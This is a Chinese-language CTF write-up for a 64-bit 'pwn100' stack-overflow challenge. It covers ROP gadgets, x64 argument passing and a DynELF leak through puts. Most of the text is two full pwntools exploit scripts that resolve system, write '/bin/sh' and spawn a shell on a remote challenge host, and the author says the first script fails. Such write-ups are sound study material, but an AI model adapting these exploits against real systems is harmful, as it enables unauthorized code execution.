这一题和pwn-200有类似之处,都是栈溢出漏洞,可以循环泄露,所以都使用DynELF来泄露。但是pwn200是32位程序用rop,pwn100是64位程序用rop。区别在于32位程序利用栈布局,而64位程序调用参数是利用寄存器。且本题是用puts函数来泄露,puts函数不能指定输出字符串的长度。
Arch: amd64-64-little
RELRO: Partial RELRO //可以修改GOT表
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)//未开启地址随机化
1.利用DynELF模块泄露system函数地址
2.构造rop链,写入"/bin/sh"
3.调用system函数
这里找到一个 rw-p
的地址,即可写地址 0x601000,pwn-200做的时候是用的bss段地址bss_addr=elf.bss()
,但是这一题我看网上wp基本没有用bss段地址的,我自己试了一下用bss段地址打不通。
ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
命令寻找ROPpoprdi_addr=0x400763
pop6_addr=0x40075a
- 32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。
- x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;
传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。
参考blog
def leak(address):
count = 0
up = ''
content = ''
payload = junk
payload += p64(pop_rdi) #给put的参数
payload += p64(address) #leak函数的参数
payload += p64(puts_addr) #调用put函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
r.send(payload)
r.recvuntil("bye~\n")
def leak(address):
count = 0
up = ''
content = ''
payload = junk
payload += p64(pop_rdi) #给put的参数
payload += p64(address) #leak函数的参数
payload += p64(puts_addr) #调用put函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
r.send(payload)
content = r.recv()[5:]
return content
from pwn import *
r = remote("111.198.29.45",36839)
context(log_level='debug',arch='amd64',os='linux')
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.gpt['read']
pop_rdi = 0x400763
junk = "A"*72
rop1 = 0x40075a #pop rbx,rbp,r12,r13,r14,r15
rop2 = 0x400740 #rdx(r13),rsi(r14),edi(r15)
start_addr = 0x400550
binsh_addr = 0x601000 #向该地址写入"/bin/sh"
def leak(address):
count = 0
up = ''
content = ''
payload = junk
payload += p64(pop_rdi) #给put的参数
payload += p64(address) #leak函数的参数
payload += p64(puts_addr) #调用put函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
r.send(payload)
content = r.recv()[5:]
log.info("%#x => %s" % (address,(content or '').encode('hex')))
return content
dyn = DynELF(leak,elf = ELF("./pwn100"))
system_addr = dyn.lookup('system','libc')
log.info("system_addr => %#x",system_addr)
payload = junk + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) +p64(binsh_addr) +p64(0) #调用read向可写段写入
payload += p64(rop2) #调用rop2
payload += "\x00"*56#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8
payload += p64(start_addr) #调整栈帧
payload += payload.ljust(200,"B")
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")
payload = junk + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,"B")
r.send(payload)
r.interactive()
会发现这样的exp打不通
原因出在了leak函数上
puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。
def leak(address):
count = 0
data = ""
payload = xxx
p.send(payload)
print p.recvuntil("xxxn")) #一定要在puts前释放完输出
up = ""
while True:
c = p.recv(1)
count += 1
if up == 'n' and c == "x": #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += "x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
# -*- coding: UTF-8 -*-
from pwn import *
r = remote("111.198.29.45",36839)
context(log_level='debug',arch='amd64',os='linux')
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
pop_rdi = 0x400763
junk = "A"*72
rop1 = 0x40075a #pop rbx,rbp,r12,r13,r14,r15
rop2 = 0x400740 #rdx(r13),rsi(r14),edi(r15)
start_addr = 0x400550
binsh_addr = 0x601000 #向该地址写入"/bin/sh"
def leak(address):
count = 0
up = ''
content = ''
payload = junk
payload += p64(pop_rdi) #给put的参数
payload += p64(address) #leak函数的参数
payload += p64(puts_addr) #调用put函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
r.send(payload)
r.recvuntil("bye~\n")
while True:
c = r.recv(numb=1,timeout=0.5)#每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up =='\n' and c == '': #上一个字符是回车且读不到其他字符,说明读完了
content = content[:-1] + '\x00'#最后一个字符设置为\x00
break
else:
content += c #输出拼接
up = c #保存最后一个字符
content = content[:4]#截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (address,(content or '').encode('hex')))
return content
dyn = DynELF(leak,elf = ELF("./pwn100"))
system_addr = dyn.lookup('system','libc')
log.info("system_addr => %#x",system_addr)
payload = junk + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) +p64(binsh_addr) +p64(0) #调用read向可写段写入
payload += p64(rop2) #调用rop2
payload += "\x00"*56#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8
payload += p64(start_addr) #调整栈帧
payload = payload.ljust(200,"B")
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")
payload = junk + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,"B")
r.send(payload)
r.interactive()
参考博客:
【技术分享】借助DynELF实现无libc的漏洞利用小结
Linux pwn入门教程(5)——利用漏洞获取libc